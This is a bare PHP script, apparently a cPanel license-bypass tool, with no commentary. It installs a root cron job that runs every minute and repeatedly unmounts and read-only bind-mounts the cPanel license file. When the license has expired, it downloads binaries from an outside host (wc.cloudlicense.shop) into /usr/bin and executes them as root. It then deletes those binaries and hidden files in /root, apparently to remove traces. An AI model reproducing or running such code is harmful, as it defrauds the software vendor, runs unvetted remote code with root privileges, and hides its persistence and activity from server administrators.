<?php 
$filenamedl = "/etc/cron.d/gbcpdownloader";
if( !file_exists($filenamedl) ) 
{
    exec("echo \"* * * * *  root /usr/bin/gbcpdownloader > /dev/null 2>&1\" > /etc/cron.d/gbcpdownloader");
    exec("/usr/bin/chmod 644 /etc/cron.d/gbcpdownloader > /dev/null 2>&1");
}

exec("rm -rf /root/.bash_time > /dev/null 2>&1");
$curtime = strtotime(date("Y-m-d H:i:s"));
$filename3 = "/usr/local/cpanel/cpanel.lisc";
$file_contents = file_get_contents($filename3);
preg_match("/license_expire_time: (.+)/", $file_contents, $mtch);
if( $curtime - $mtch[1] < 0 ) 
{
    $file22 = file_get_contents("/proc/mounts");
    $pos = strpos($file22, "/usr/local/cpanel/cpanel.lisc");
    if( $pos !== false ) 
    {
        echo "clear";
    }
    else
    {
        exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -fl /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
        exec("mount --bind -o ro /usr/local/cpanel/cpanel.lisc /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    }

}
else
{
    exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -fl /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -f /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("umount -l /usr/local/cpanel/cpanel.lisc > /dev/null 2>&1");
    exec("rm -rf /root/.bash_timel > /dev/null 2>&1");
    $file1 = exec("rm -rf /usr/local/cpanel/cpanel.lisc 2> /root/.bash_timel");
    $file3 = file_get_contents("/root/.bash_timel");
    $pos = strpos($file3, "Device or resource busy");
    if( $pos !== false ) 
    {
        exec("wget -O /usr/bin/gbmov0 wc.cloudlicense.shop/api/files/cpanel/cpanelv1/gbmover > /dev/null 2>&1");
        exec("wget -O /usr/bin/con0 wc.cloudlicense.shop/api/files/cpanel/cpanelv1/con > /dev/null 2>&1");
        exec("chmod +x /usr/bin/con0 > /dev/null 2>&1");
        exec("sh /usr/bin/con0 > /dev/null 2>&1");
        exec("chmod +x /usr/bin/remov1 > /dev/null 2>&1");
        exec("sh /usr/bin/remov1 > /dev/null 2>&1");
        exec("rm -rf /usr/bin/remov1 > /dev/null 2>&1");
        exec("rm -rf /usr/bin/gbmov0 > /dev/null 2>&1");
        exec("rm -rf /usr/bin/con0 > /dev/null 2>&1");
    }

}

exec("rm -rf /root/.bash_time > /dev/null 2>&1");
exec("rm -rf /root/.scop0 > /dev/null 2>&1");

